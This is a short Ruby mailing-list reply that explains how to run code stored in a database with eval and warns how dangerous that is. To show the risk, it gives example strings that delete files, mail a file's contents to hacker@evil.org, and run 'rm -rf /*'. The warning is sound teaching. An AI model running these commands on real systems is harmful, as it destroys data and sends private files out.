From: Brian Candler <b.candler@...>
Date: 2009-08-11T19:54:13+09:00
Subject: Re: Load & Execute Code From a Database

Paul F Fraser wrote:
> My question is a little more basic (and dumb)
> I have a string containing code from a db.
> Forgetting for the moment, security, what do I do with the string to
> have the code available in a running ruby (jruby) application, as I can
> do with a normal load or require?

str = "puts 'ha ha ha'"
eval(str)

But this is enormously risky, unless you 100% trust all users who have 
the ability to write to that database column. Consider:

str = "File.delete('/any/file')"
str = "system('cat /any/file | mail hacker@evil.org')"
str = "system('rm -rf /*')"
-- 
Posted via http://www.ruby-forum.com/.